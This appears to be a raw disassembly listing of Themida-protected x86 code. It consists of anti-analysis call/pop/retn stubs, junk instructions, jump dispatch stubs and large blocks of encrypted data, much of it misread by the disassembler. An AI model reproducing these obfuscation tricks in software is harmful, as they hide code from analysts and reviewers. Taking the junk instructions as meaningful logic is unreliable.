sub cx, 9D36h
mov eax, eax
push 0
push edx
call sub_5BA2E8
and [edx-3Dh], bl
; END OF FUNCTION CHUNK FOR sub_5BA1F9
; =============== S U B R O U T I N E =======================================
sub_5BA2E8 proc near ; CODE XREF: sub_5BA1F9+E7p
arg_4 = dword ptr 8
pop edx
mov [esp-4+arg_4], edx
add [esp-4+arg_4], 15h
inc edx
push edx
retn
sub_5BA2E8 endp
; ---------------------------------------------------------------------------
mov word ptr [ecx], ss
add dl, 0A5h
cmp dword ptr [ebp+7FA3135h], 0
jz loc_5BA350
movzx esi, dx
mov si, dx
jmp loc_5BA59A
; ---------------------------------------------------------------------------
push 0
push ebp
call sub_5BA320
and [ebp-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5BA320 proc near ; CODE XREF: Themida_:005BA318p
arg_4 = dword ptr 8
pop ebp
mov [esp-4+arg_4], ebp
add [esp-4+arg_4], 1Ch
inc ebp
push ebp
retn
sub_5BA320 endp
; ---------------------------------------------------------------------------
push esi
inc ebp
mov ds:0A5D88EB7h, al
push 0FFFFFFBCh
xor cx, 4DB8h
jle loc_5BA350
call sub_5BA34E
mov ecx, 6410DC31h
; =============== S U B R O U T I N E =======================================
sub_5BA34E proc near ; CODE XREF: Themida_:005BA344p
stc
pop ecx
loc_5BA350: ; CODE XREF: Themida_:005BA304j
; Themida_:005BA33Ej
mov edi, ds
push 0
push edx
call sub_5BA35D
and [edx-3Dh], bl
sub_5BA34E endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_5BA35D proc near ; CODE XREF: sub_5BA34E+7p
arg_4 = dword ptr 8
pop edx
mov [esp-4+arg_4], edx
add [esp-4+arg_4], 15h
inc edx
push edx
retn
sub_5BA35D endp
; ---------------------------------------------------------------------------
db 9Dh, 0Bh, 60h
; ---------------------------------------------------------------------------
jmp loc_5BA381
; ---------------------------------------------------------------------------
mov dword ptr [ebp+eax*4+41h], 1353F76Eh
mov dh, 4Dh
xchg al, [ecx]
loc_5BA381: ; CODE XREF: Themida_:005BA370j
mov ax, dx
popa
test di, 4
jnz loc_5BA59A
pusha
mov bh, 0D2h
jl loc_5BA39E
mov esi, 1830254Eh
loc_5BA39E: ; CODE XREF: Themida_:005BA393j
popa
cmp dword ptr [ebp+7FA1CC5h], 0
jnz loc_5BA3F9
push 0
push edx
call sub_5BA3B7
and [edx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5BA3B7 proc near ; CODE XREF: Themida_:005BA3AFp
arg_4 = dword ptr 8
pop edx
mov [esp-4+arg_4], edx
add [esp-4+arg_4], 17h
inc edx
push edx
retn
sub_5BA3B7 endp
; ---------------------------------------------------------------------------
db 3Eh
; ---------------------------------------------------------------------------
cmpsd
inc eax
dec ebx
sub si, 99F1h
jmp loc_5BA59A
; ---------------------------------------------------------------------------
push 0
push ecx
call sub_5BA3E0
and [ecx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5BA3E0 proc near ; CODE XREF: Themida_:005BA3D8p
arg_4 = dword ptr 8
pop ecx
mov [esp-4+arg_4], ecx
add [esp-4+arg_4], 1Ch
inc ecx
push ecx
retn
sub_5BA3E0 endp
; ---------------------------------------------------------------------------
dd 0A658525Fh, 6ED36532h
; ---------------------------------------------------------------------------
push ecx
loc_5BA3F9: ; CODE XREF: Themida_:005BA3A6j
sub edi, edi
call near ptr loc_5BA40B+2
movsb
sar dword ptr [edi+0A6573C5h], cl
ror ebp, 1
sbb al, dl
loc_5BA40B: ; CODE XREF: Themida_:005BA3FBp
call far ptr 0F5Ah:0D18B66D7h
mov al, ds:0BA000000h
test al, ah
lodsb
push eax
lea ebx, [ebp+7FD7133h]
push 0
push ebx
call sub_5BA42D
and [ebx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5BA42D proc near ; CODE XREF: Themida_:005BA425p
arg_4 = dword ptr 8
pop ebx
mov [esp-4+arg_4], ebx
add [esp-4+arg_4], 19h
inc ebx
push ebx
retn
sub_5BA42D endp
; ---------------------------------------------------------------------------
aam 0A7h
push es
aad 5Ah
retn 8160h
; ---------------------------------------------------------------------------
db 0E3h, 6Ch, 0B2h
; ---------------------------------------------------------------------------
xor al, 6Ah
jmp loc_5BA463
; ---------------------------------------------------------------------------
db 0AAh
dd 6DBAD566h, 0DD6BF4Eh, 0A048B20Dh, 62F0ABB8h
db 8Ch, 0BAh, 5Eh
; ---------------------------------------------------------------------------
loc_5BA463: ; CODE XREF: Themida_:005BA44Aj
popa
xchg eax, ebx
push eax
mov si, 2879h
xchg eax, ebx
push 0
push edi
call sub_5BA476
and [edi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5BA476 proc near ; CODE XREF: Themida_:005BA46Ep
arg_4 = dword ptr 8
pop edi
mov [esp-4+arg_4], edi
add [esp-4+arg_4], 17h
inc edi
push edi
retn
sub_5BA476 endp
; ---------------------------------------------------------------------------
dw 0CA03h
dd 0D58AE555h, 35FF64h, 66000000h, 8964C88Bh, 25h, 17BE6600h
dd 6AC48B7Ah, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch
dd 14042444h, 47000000h, 0CDF3C357h, 0E900EB01h, 0Fh, 8E698402h
dd 1E7A8D5Ah, 0E14228F9h, 0F05D553h, 8F64CBBFh, 5, 56006A00h
dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1B04h, 0C3564600h
dd 6BE1EA5Bh, 0F1B56B02h, 0E804C483h, 13h, 6FB986B5h, 0FC284368h
dd 63F17C8Dh, 592F1FCFh, 0E9354969h, 11h, 0B8538E00h, 58785864h
dd 2ED1ED2Ch, 0B866D76Fh, 0C00B5E81h, 5C840Fh, 0B70F0000h
dd 810F61CAh, 10h, 0BE9h, 92438A00h, 49D4035Bh, 608FED0Ah
dd 72FBBD8Dh, 0F18007FAh, 1B865h, 0FFF50000h, 6E9E7h, 0C9F90000h
dd 95474C76h, 245C8B57h, 0B8838B10h, 0F000000h, 0FE0140B6h
dd 0B08389C8h, 83000000h, 0B883h, 335F0200h, 60F9C3C0h
; ---------------------------------------------------------------------------
cld
popa
loc_5BA59A: ; CODE XREF: Themida_:005BA310j
; Themida_:005BA38Aj ...
popa
sbb ecx, 6F20668Dh
stc
mov eax, eax
push 0
push edi
call sub_5BA5AF
and [edi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5BA5AF proc near ; CODE XREF: Themida_:005BA5A7p
arg_4 = dword ptr 8
pop edi
mov [esp-4+arg_4], edi
add [esp-4+arg_4], 1Ch
inc edi
push edi
retn
sub_5BA5AF endp
; ---------------------------------------------------------------------------
db 3Bh
dd 0BE7DF403h, 1DB6E394h, 0DD4DC981h, 0BD8326E6h, 7FA2ACDh
dd 83097500h, 0FA1899BDh, 19740007h, 0C08B5350h, 40EB8h
dd 81858900h, 8D07FA15h, 0FCE28B9Dh, 5BD3FF07h, 99BD8358h
dd 7FA18h, 53501774h, 40EB8h, 81858900h, 8D07FA15h, 0FCDF2C9Dh
dd 5BD3FF07h, 0F38B6658h, 0A7FDD981h, 0AE94223h, 8F000000h
dd 78D56CD8h, 0BFC2182Fh, 6AC08B3Ah, 3E85700h, 20000000h
dd 895FC35Fh, 8104247Ch, 19042444h, 47000000h, 5D43C357h
dd 362178F7h, 12E9h, 1778300h, 66353047h, 0A29BFCEEh, 257DA5BDh
dd 8B094D0Bh, 8EBC2h, 0
dd 0E9000000h, 7Bh, 10F5260h, 5AFE244Ch, 8B24C283h, 0FA33ED85h
dd 7E858D07h, 8B07FDBDh, 888B08h, 8B000010h, 4A8B660Ah
dd 328D89FCh, 8307FD72h, 0FA1CC5BDh, 840F0007h, 0Fh, 0FF006A60h
dd 0FA101995h, 0C4E96107h, 66FFFFFFh, 0C1FC7289h, 896610CEh
dd 0CD520272h, 85895A04h, 7FD722Eh, 7232B58Bh, 0CEC107FDh
dd 72896610h, 32B58B02h, 6607FD72h, 61FC7289h, 722E858Bh
dd 8DC307FDh, 0FA08D595h, 0D1958907h, 8907FA17h, 0FA161595h
dd 1585FF07h, 0C607FA16h, 0FA066585h, 0D8685307h, 0FFFCB148h
dd 0FA08A5B5h, 0E2858D07h, 0FF07FA3Ah, 198589D0h, 8D07FA10h
dd 0FD6A6485h, 41858907h, 0E907FA15h, 51h, 24748B60h, 3C760324h
dd 28247C8Bh, 0C281D68Bh, 0F8h, 64E8B66h, 83C9B70Fh, 840F00F9h
dd 16h, 0F0C7A3Bh, 158Fh, 28EA8300h, 8B0C428Bh, 0C12B144Ah
dd 7C89F82Bh, 0C2611C24h, 0C2830008h, 850F4928h, 0FFFFFFCFh
dd 0FFFFE9E9h, 0FD3EBAFFh, 0EB0009h, 593E9h, 587E900h
dd 26680000h, 0E907FD74h, 0FFFD0B88h, 0FD753468h, 0B7EE907h
dd 0CA68FFFDh, 0E907FD75h, 0FFFD0B74h, 0FD76A368h, 0B6AE907h
dd 9A68FFFDh, 0E907FD77h, 0FFFD0B60h, 8CC2DC3Ah, 356B33DFh
dd 0DB118D88h, 87BDE12Eh, 316737DAh, 0B25F48FDh, 0B09B6ECh
dd 60B05D93h, 0B85B083Eh, 89E1B0E6h, 0E3F60A6Dh, 1BD23807h
dd 0E68379E0h, 83197CFFh, 0A3F8FFE6h, 7DA6316Dh, 0BC3B7903h
dd 0FDA3674Fh, 0E7602589h, 60BF26FFh, 5CC2FFE7h, 3BFFE760h
dd 0CD732BE6h, 0E75FF259h, 0DF81087Fh, 841AFA4Fh, 922AD0F9h
dd 0E18FBC76h, 0C151AA87h, 0C4FAA46Ch, 1AA5F917h, 48D88801h
dd 0DBA6E22Ch, 0E9A7008Fh, 19991B2Ch, 1125C4FFh, 0CD000004h
dd 721F5549h, 1BC8FEA0h, 0C16EA4FAh, 6D1A504Eh, 90C4FAA4h
dd 811DF4DBh, 28769E4Bh, 0D3CB45F2h, 7B23F09Dh, 21E7645h
dd 7E3F79Fh, 0A7A85FC5h, 7BA7326Ch, 0FFE68315h, 0EFD38D0Eh
dd 97447A24h, 3297227Ch, 1632BDE1h, 0F728ECEh, 35FFE683h
dd 0FBB536DCh, 6539D72Ch, 610112BFh, 4E84EDB1h, 748F467Eh
dd 3CD82D38h, 7EDBBC62h, 6C000003h, 0A7326CA7h, 0E683157Bh
dd 6638DDFFh, 39B76DBh, 43FD2678h, 520C3D9Bh, 95E22E83h
dd 0E6831679h, 7AE33CFFh, 0B2EC27D4h, 1555AD7Ch, 0A44A54C0h
dd 0E683CD30h, 0F9AF3FFh, 19FC66AAh, 68D1FA85h, 108E8532h
dd 81E6C85h, 0F42A930Bh, 7D96CC47h, 9722CE5h, 54A7118Fh
dd 26B0B17h, 9C021277h, 48BF266h, 0BF55FFE7h, 0C40454DFh
dd 4056884h, 0D22BFFE7h, 0E7040366h, 32D831FFh, 18A8B8D1h
dd 459BCD8h, 2E87FFE7h, 0F2D4F088h, 2007E124h, 793609C7h
dd 0DA159E63h, 3033Bh, 633BDB00h, 0C92802Dh, 0B2EC29D6h
dd 5E40CF7Ch, 8967B28h, 2E99ED2h, 0AC598F0Fh, 53003668h
dd 0FEABE1BDh, 84538915h, 0F8AD102Ch, 6DD307E3h, 0AB67BCB6h
dd 993F68F3h, 0EC7727ECh, 0D0CE479Ch, 8967D2Ah, 0A2FC187Dh
dd 7BFAE812h, 1EC0CA3Dh, 9FC63A78h, 0A2FFE6BAh, 0FFE6CA3Bh
dd 667E0F05h, 1518A9D0h, 1E73036Ch, 7306ACF2h, 5A44CE23h
dd 0ED940B4h, 9AEFFFE7h, 5AF142B5h, 0DA6EE8B6h, 35C52E04h
dd 0E128E719h, 0D492EB07h, 9E638975h, 6DFC9BD6h, 71000002h
dd 16C3F9A5h, 0BF6CA2FCh, 65124856h, 11BEF4AAh, 34689E00h
dd 2579987Fh, 0CCD242EFh, 7727E996h, 1F7F9441h, 0A6C21AE9h
dd 7E3F843h, 0A7540B71h, 42A7326Ch, 0DD42CDD1h, 7BE06B33h
dd 287A0599h, 419D45FFh, 0A1725610h, 0BFF7C7FDh, 5D38748Fh
dd 1F5h, 8379E0EEh, 0CD43FFE6h, 931E8095h, 4E50C56Ah, 0A1319AC3h
dd 4ED9C54Ch, 94417F25h, 3297227Ch, 0F030C0DEh, 833194B0h
dd 65FFFE6h, 0E683379Ah, 5E045DFFh, 0C47EAFCBh, 386E30E0h
dd 9DC54BA0h, 37C22B73h, 6098680Eh, 4738748Fh, 0E5EAA21Dh
dd 0B2283EE5h, 768C065Fh, 4324CA15h, 54h, 8E96F3D4h, 21B11A84h
dd 0E0981B05h, 514E7807h, 2CD494D4h, 0E0398228h, 637B3122h
dd 40DF1A9Eh, 194h, 9CD2CC4Ah, 457B23EFh, 0EB217D98h, 97CDD13Eh
dd 417727EAh, 0A26F580Dh, 0FB19C6FCh, 50C06DA3h, 0A86B184Eh
dd 99F1C0F6h, 0E3F91A7Dh, 2BE24807h, 0ADED2D85h, 0E6832E91h
dd 55FB54FFh, 0E68386E1h, 0B9329CFFh, 0EDACFC74h, 0DD079700h
dd 771D26DAh, 0EB26BAD0h, 8B8B469h, 166F99Fh, 0C1598F0Fh
dd 6FFAA46Ch, 2A930B0Ah, 623CD784h, 96CCBED7h, 415DB360h
dd 0E9B55E0Bh, 831BF95Eh, 0A267E4Dh, 0FFE6B2A7h, 84E974CDh
dd 76D70D91h, 95BF4F19h, 98B8F875h, 46A9C52Ch, 6CFFE726h
dd 0A430AA13h, 2CAE7C8h, 80E5781Eh, 5FD30995h, 0FFE6FBF8h
dd 55E57B0Eh, 0E12DAF39h, 749E3307h, 0D769F2Ah, 0B4EA287Dh
dd 5D41D17Eh, 0FBA36DD2h, 95090B70h, 2E70A50Ah, 3AFF8AA3h
dd 0E0CCBB1Eh, 0C054E907h, 7C0C75DEh, 0DAF36A60h, 611F780Fh
dd 9999B6CCh, 9D75144Fh, 41000000h, 0E693C9D5h, 8F3C722Ch
dd 35E21886h, 0E18EC4DAh, 4386E30h, 0F5A9684Fh, 9C0212BFh
dd 4757B966h, 0EFAF6411h, 7692EAB9h, 7E3FA13h, 0A724DB41h
dd 42A7326Ch, 2642CDD1h, 0BC573BF5h, 0A4DCACE2h, 8B38748Fh
dd 0F35BB061h, 7A95017Dh, 7709924h, 238061h, 0DB300000h
dd 7BE643Ah, 0E6837AE0h, 0CFCF44FFh, 5AA2153Fh, 0CF037BE5h
dd 0FE53EB29h, 0FBE28816h, 14h, 8379E094h, 2E58FFE6h, 642149DEh
dd 6512B8C9h, 3BAF0AEh, 9F764E6h, 0AF000000h, 5CE7B75Ah
dd 95F48D33h, 0A42F6FA7h, 3FCAD43Fh, 0DD6836DAh, 77029C78h
dd 149FFF12h, 0B13C62AFh, 50DBC34Ch, 0E9742AEBh, 85108E84h
dd 0E2895252h, 58F5BD55h, 814D1C5Dh, 5D58F0EDh, 5DEA011Ch
dd 8704EA83h, 685C2414h, 5C61h, 68243C89h, 387h, 68242C89h
dd 7FD7393h, 83243C8Bh, 256804C4h, 89000032h, 4832424h
dd 525D0424h, 89F98951h, 558959CAh, 2C8B5A08h, 0E1895124h
dd 4C181h, 0C1810000h, 4, 5C240C87h, 53243C8Bh, 0C381E389h
dd 4, 4C381h, 1C870000h, 19E95C24h, 6DFFFD06h, 59926900h
dd 0F31C3436h, 0EA7025E0h, 785CB8A8h, 0C50307FDh, 20EBD18Bh
dd 8 dup(0)
; ---------------------------------------------------------------------------
jmp loc_5BB2A5
; ---------------------------------------------------------------------------
jmp loc_5BB29E
; ---------------------------------------------------------------------------
push 7FD7ABAh
jmp loc_58B334
; ---------------------------------------------------------------------------
push 7FD7B58h
jmp loc_58B334
; ---------------------------------------------------------------------------
push 7FD7D1Ch
jmp loc_58B334
; ---------------------------------------------------------------------------
push 7FD7D85h
jmp loc_58B334
; ---------------------------------------------------------------------------
dw 2AECh
dd 81913E74h, 0DB3AE71Dh, 2FE08DC3h, 858C396Fh, 0FAAFE319h
dd 689E0011h, 0F4559BBh, 0BAF0AE62h, 6298060Dh, 0BC1F3B93h
dd 0EA07E3FCh, 6EA7CD84h, 1279A530h, 1C7FE683h, 40995A84h
dd 0E9F295DCh, 4D750A6Fh, 0FB56361h, 95CDD48Eh, 33B87565h
dd 3Ah, 2487A3E3h, 527FE74Dh, 0E09C53F9h, 0FFE6837Ah, 0D767F990h
dd 830E9082h, 3F5FB55Ah, 8DE50199h, 0B907E3FCh, 977BD060h
dd 0AD537C07h, 2C886Fh, 0EB400000h, 0C4ED7826h, 79E0671Eh
dd 58FFE683h, 0E68C1203h, 0E0350485h, 0B6DF6A34h, 0E682E74Ah
dd 4BB40DFFh, 0FC479FBBh, 65F07E3h, 6EA719D0h, 2B55A530h
dd 0F19B9758h, 2B9F4564h, 7FE75EC3h, 1E59FE0h, 0F3548A14h
dd 1834C49Ch, 7FE5B7B1h, 96FB86DFh, 8AEB217Dh, 0DEFA3AFFh
dd 7FE5B77Bh, 81E450A9h, 0AF7FE5B7h, 335DED56h, 30585C15h
dd 46DE84D7h, 260B106h, 8127900Eh, 0E004930Dh, 46D62F87h
dd 187EA06h, 425E77ECh, 77EC01DFh, 16BAC05h, 72EFA6ACh
dd 0B75DC60Ah, 391F824h, 1A9B77ECh, 0B215960h, 89BFB07Ah
dd 50000000h, 87A396F3h, 0FFE68324h, 0C154F952h, 0C02952DDh
dd 0F5E81430h, 9DF607E3h, 435BB80Dh, 9BC5059Dh, 5CCCCD89h
dd 5D0AB0E9h, 358E8B6h, 0AAE88E10h, 0CA8816FDh, 9E6489CBh
dd 34AE924h, 61000003h, 6B3E9B5h, 0AF5C920Ch, 55023866h
dd 1AEE4BAh, 24588E10h, 1589886Fh, 0BCE232DFh, 6737D986h
dd 0F8F8431h, 96B20AD9h, 7E3FD33h, 0BC44FB61h, 69F4AA67h
dd 7920C04h, 0C8FB75DEh, 7E570B16h, 0BB1E05ABh, 0B7000002h
dd 0A5306EA7h, 0E6831279h, 842E15FFh, 0CD31FFE6h, 0CEFFE683h
dd 0FFE68367h, 0E683036Ah, 839F06FFh, 0D4B5BFE6h, 72DBC350h
dd 0A802C6E2h, 0D32CC7E3h, 71A3F848h, 0A787EA06h, 54ADC7E3h
dd 0A5E445EBh, 0C50F2BBBh, 0E1CFDDD8h, 0C331CA88h, 0DF1A599Eh
dd 26540h, 8717FF00h, 306EA451h, 0D6C84DFAh, 821CF3A0h
dd 2C729F4Ch, 260DC2F6h, 0D07DB3EBh, 77245A44h, 22CF0599h
dd 0A877ADF1h, 0FED13450h, 99FF07E3h, 0D192BCE2h, 264214E4h
dd 5DE8B65Ah, 7825CB34h, 1E73039Bh, 906ABF3h, 3BE10A95h
dd 66FA8FA8h, 9846BAD6h, 379007E4h, 0DDC15401h, 831BFAA7h
dd 0B6AADFF8h, 67CAE626h, 8D07E467h, 0DAF68E34h, 0FE1E06Eh
dd 4730E378h, 0E71FC82Bh, 2C95EEFFh, 0C9F333C3h, 7FC75084h
dd 467D346h, 32FFE73Fh, 5DF533D9h, 0E8EFA533h, 58B980A1h
dd 2992BB46h, 7A1A7D99h, 0EF48FFE7h, 7A6ED549h, 584FFE7h
dd 368BCB5Bh, 1039C4DAh, 0E77A41A4h, 9C166FFFh, 880146BEh
dd 9E36DC56h, 0E4C81282h, 0EB7BD407h, 0EB217D96h, 39C9D53Eh
dd 0C86E30E4h, 37B20935h, 0C1C807E4h, 7ACF0F9Fh, 0EB5F0599h
dd 0FE1B08Fh, 79CE5EB7h, 21CE049Ah, 0F521ACF2h, 0FFE7509Eh
dd 9E011D5Dh, 0C4FFE750h, 2564C56Bh, 0BD56AB3Bh, 87A33BE1h
dd 7E4C91Bh, 85DA6AC3h, 2DDA108Eh, 0FE28B8E6h, 0ECE6F7A3h
dd 79A4059h, 35C59BEEh, 0E1CCC119h, 18CE50Fh, 0E72C6ED5h
dd 0A0E078FFh, 0E72C2184h, 50F64FFFh, 0D60E15CFh, 74387537h
dd 0Ch, 0A079E005h, 709FFE6h, 0A2000000h, 0E69D79E0h, 7CBC39FFh
dd 0E682FD60h, 24CA23FFh, 0A9AC6C3h, 0B6E8ACAh, 0D5FFE683h
dd 0ADD6613Dh, 0EF99136Ch, 5FCB3212h, 9105791Fh, 3D07E4D2h
dd 12FF54E4h, 30E64965h, 0B30C07E4h, 0F811A44Ah, 233FCF91h
dd 0FDE601Dh, 8CEB257Ah, 0EE030D70h, 71DA33FFh, 0CE17BDE6h
dd 56CAB775h, 0C2FD999Eh, 0A123h, 4B53C300h, 0F4AA6815h
dd 9A0411BEh, 4658B764h, 0F0AE6310h, 0EAD186BAh, 94417727h
dd 3BE81E80h, 0E693C9D5h, 6C3B712Dh, 95F814h, 55BB07E4h
dd 0CA96F39Eh, 6CA5FA3Ah, 3B57A732h, 0FFE683D8h, 963CA5FEh
dd 0E3FCAE22h, 4FDF3807h, 0FD8816FAh, 829B2ED4h, 0ADC95907h
dd 0FDE1CF3h, 0D7B876CFh, 0F4999E8Fh, 381AB9h, 0EA2C0000h
dd 41D17EB4h, 9B7A275Dh, 0EF20CD03h, 45CC79AFh, 3AEF2359h
dd 0A8DEC051h, 4F8519FBh, 0FA306EA2h, 0A2D8C64Dh, 0FC5F7BD3h
dd 2A07E3FFh, 36D0DC4h, 6000000h, 6FA75CBBh, 0D43FA42Fh
dd 36DA3FCAh, 9C78DD68h, 0FF127702h, 62AF149Fh, 0C34CB13Ch
dd 2AEB50DBh, 8E84E974h, 52528510h, 0C281E289h, 4, 4EA81h
dd 14870000h, 4895C24h, 0E6895624h, 4C681h, 0EE810000h
dd 4, 5C243487h, 68243489h, 12CFh, 0BE240489h, 368B253Ch
dd 6185EE81h, 0B95147C6h, 0
; ---------------------------------------------------------------------------
sub ecx, esi
mov esi, ecx
pop ecx
sub esi, 93DC304h
push esp
mov eax, [esp]
add esp, 4
push ebx
mov ebx, esi
mov [eax+8], ebx
mov ebx, [esp]
add esp, 4
push dword ptr [esp]
pop eax
add esp, 4
push dword ptr [esp]
pop esi
add esp, 4
jmp loc_58B334
; ---------------------------------------------------------------------------
db 0F2h, 0EDh, 7
db 47h, 0E6h
; ---------------------------------------------------------------------------
loc_5BB29E: ; CODE XREF: Themida_:005BAD59j
mov eax, 7FD7DE2h
add eax, ebp
loc_5BB2A5: ; CODE XREF: Themida_:005BAD54j
mov ecx, eax
jmp loc_5BB402
; ---------------------------------------------------------------------------
dd 449BEB92h, 0DA95ECE7h, 6715893h, 0BEB6CFDFh, 365D54FDh
dd 0BCECA436h, 0C55DD500h, 0D676D352h, 0FC94A4h, 0C1AEC441h
dd 5277CB50h, 9CACAC32h, 6C46BF00h, 7390ADFCh, 0D6A33659h
dd 9C72E275h, 0DD0090BDh, 9B8CE693h, 64A592A7h, 92A7ABDDh
dd 7A918F97h, 0B9F95CFCh, 9BB1E496h, 9F47E4B5h, 0B6E592B6h
dd 9EBDF694h, 96B3EBB5h, 9C93D0ECh, 7B97BF99h, 89F55CFDh
dd 0EDAFF493h, 0E3B2CD00h, 0D4E594A6h, 5700C3B5h, 0F3622D44h
dd 2CAE29B0h, 34000000h, 38000000h, 2 dup(0)
dd 4000000h, 94000000h, 5000000h, 1000000h, 28000000h
dd 200000Ah, 53000000h, 69767265h, 50206563h, 206B6361h
dd 32h, 22h dup(0)
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_5BB402: ; CODE XREF: Themida_:005BB2A7j
jmp loc_5BD2E4
; ---------------------------------------------------------------------------
push 7FD81A8h
jmp loc_58B334
; ---------------------------------------------------------------------------
push 7FD827Dh
jmp loc_58B334
; ---------------------------------------------------------------------------
push 7FD834Ah
jmp loc_58B334
; ---------------------------------------------------------------------------
push 7FD83EFh
jmp loc_58B334
; ---------------------------------------------------------------------------
push 7FD84BDh
jmp loc_58B334
; ---------------------------------------------------------------------------
push 7FD8589h
jmp loc_58B334
; ---------------------------------------------------------------------------
push 7FD8640h
jmp loc_58B334
; ---------------------------------------------------------------------------
push 7FD86EEh
jmp loc_58B334
; ---------------------------------------------------------------------------
push 7FD8A9Fh
jmp loc_58B334
; ---------------------------------------------------------------------------
push 7FD8AF7h
jmp loc_58B334
; ---------------------------------------------------------------------------
push 7FD8C37h
jmp loc_58B334
; ---------------------------------------------------------------------------
push 7FD8FA0h
jmp loc_58B334
; ---------------------------------------------------------------------------
push 7FD934Dh
jmp loc_58B334
; ---------------------------------------------------------------------------
push 7FD968Bh
jmp loc_58B334
; ---------------------------------------------------------------------------
push 7FD97B5h
jmp loc_58B334
; ---------------------------------------------------------------------------
push 7FD982Ch
jmp loc_58B334
; ---------------------------------------------------------------------------
push 7FD989Ch
jmp loc_58B334
; ---------------------------------------------------------------------------
push 7FD9903h
jmp loc_58B334
; ---------------------------------------------------------------------------
push 7FD9A8Bh
jmp loc_58B334
; ---------------------------------------------------------------------------
push 7FD9B95h
jmp loc_58B334
; ---------------------------------------------------------------------------
push 7FD9D28h
jmp loc_58B334
; ---------------------------------------------------------------------------
aas
xlat
mov dword ptr [ecx+3A702EE4h], 0E016888Dh
xor ebx, esp
retn 0DF8Ch
; ---------------------------------------------------------------------------
dw 6C32h
dd 664D0236h, 10BDF3ABh, 0B7649A04h, 620F4559h, 0E8B7EDB1h
dd 3117490h, 0D93F07E4h, 0B6CA722h, 0E6838CEFh, 0F861BAFFh
dd 6C0B086Dh, 37A3FB17h, 0FFE683D4h, 0A40A902h, 0F080E0A9h
dd 0E0AE3AD4h, 840F6807h, 0E0ACF158h, 0C07AFB07h, 6EB581B9h
dd 201F40h, 0F3B00000h, 1E3ACA96h, 7E09C50h, 3E6AF54Eh
dd 7E09BD7h, 9FA660E1h, 406EA767h, 0CD05h, 6CA79600h, 0CF42A732h
dd 34DF44CFh, 997ADF6Ah, 375BCF05h, 0FBFFE687h, 0A3508618h
dd 7B23F270h, 26428212h, 0FFE687C3h, 872386A2h, 0F851FFE6h
dd 25B85EB7h, 53E37D0Ch, 0E0A89937h, 6FA1F607h, 386AA42Fh
dd 0F487B6Bh, 448D339Ch, 845A8C4h, 126B07E1h, 6BF6A86Dh
dd 42A3D942h, 49891947h, 3A5621F4h, 7E108D7h, 0B03BA4FDh
dd 2A6DE187h, 180FDDEAh, 37DA2FBFh, 8D843167h, 0A81B5311h
dd 0C904999Fh, 1C3B2Ah, 0D7C74F00h, 801EF4A1h, 26789D4Ah
dd 0D2CC43F0h, 7C22EF9Ch, 765D1246h, 20CD039Bh, 0C774AAF4h
dd 721F5549h, 0F8C7FDA1h, 42184A0h, 0E94F07E4h, 346AA732h
dd 0A0C251FEh, 759E2975h, 910C6FBh, 74DDF689h, 96F3873Eh
dd 2CE53ACAh, 1834CC72h, 7E09C4Ah, 59BCD858h, 8707E09Bh
dd 0E3AC52Eh, 7E09BA7h, 6F7630B1h, 406EA737h, 5846C91Eh
dd 99D1B2h, 0A7620000h, 57A7326Ch, 0EB910D02h, 40CBD33Eh
dd 0E687F014h, 0C5D93AFFh, 6D31E28Fh, 0D23D92E2h, 721841CCh
dd 58E87811h, 0E0A89E3Ch, 0ADE33C07h, 93233D4Ch, 0A7D43753h
dd 0A90207E0h, 12B6B03h, 0D62300E0h, 10842AD1h, 0FDDAABCh
dd 0AC0191EAh, 56033965h, 0FF25E3BBh, 0CC999F58h, 1B66F291h
dd 0F2240000h, 49C976ACh, 0A3721F55h, 0F718C5FBh, 4DC471A7h
dd 32E71B51h, 0A0D6C849h, 477D21F3h, 0F228769Ah, 9AD0CE45h
dd 0F45773CBh, 2207E404h, 6AA705BCh, 0C251FE34h, 0A7EFA6DCh
dd 42A7326Ch, 0FF97CDD1h, 0F0A9ADD5h, 0BFD97496h, 8E760276h
dd 0E2BB61CAh, 0B76D1CC6h, 4DDD4658h, 0E08E2F31h, 0FD3A9307h
dd 0A9F52075h, 435BB91Eh, 55C034DAh, 73C46EF4h, 0A4072316h
dd 0D2BB5AEFh, 64801079h, 0C354F7A2h, 91F41090h, 0BFBC74E7h
dd 2272FD66h, 0F21E44CDh, 3C9D43ACh, 2E83134Dh, 52EB9E5h
dd 26ABC75Fh, 90C46F22h, 4B67A737h, 0BB5AE0E8h, 925B50Eh
dd 0BB5AE1A6h, 35CD73CCh, 356B33E0h, 55138B88h, 22ED9111h
dd 9918B7F2h, 0F100001Ah, 96437925h, 3FEC227Ch, 0E592C8D6h
dd 913E742Ah, 0B4E81E80h, 0A5F918FFh, 4C52C26Fh, 0F7A76916h
dd 9FFF14C1h, 26429A69h, 7E406C3h, 0A7D48BF1h, 8EA7326Ch
dd 80D565FBh, 0CF670D91h, 0E0B469B3h, 93042E07h, 2D17D621h
dd 504EC66Bh, 0ADF69CC5h, 0A26FC454h, 0E14A54C0h, 0C24FD3Bh
dd 13FD2762h, 7692228Bh, 0FDB2C74h, 68CC0962h, 0C7988688h
dd 0DD6DF396h, 9286FFC1h, 0FF8AE3CFh, 2DBDA3E6h, 2CB18C11h
dd 51E13AC8h, 518717FCh, 0DF008FB9h, 76BB343h, 3F5FB461h
dd 282D3781h, 3AD9145Eh, 19F4h, 0E81E8096h, 91C7D73Bh
dd 376D31E4h, 0E319858Ah, 8DC3DB36h, 56BBA459h, 0AF651248h
dd 40CB9EFh, 5CB7649Ah, 0E53D0C42h, 0E40666C9h, 6F268C07h
dd 0A2326CA7h, 4ED9C54Dh, 0E7727E9h, 82FF627Eh, 0CC25FFE6h
dd 0F7A9326h, 0C3A5C151h, 0EF07E0A3h, 7E876096h, 1BABB5D4h
dd 18BCB1DBh, 5B9B43FFh, 355EE9B5h, 0B6E827CCh, 9A9A9C10h
dd 0EF480FDAh, 52394EB2h, 3E4B9C8Fh, 0CE732BE6h, 5EEE5747h
dd 893B8042h, 42D166A4h, 3FA8D15Ch, 0EB3A64B4h, 393F2ED9h
dd 0FD8CED93h, 32B7D363h, 9CA3336Dh, 3373B343h, 8F18B417h
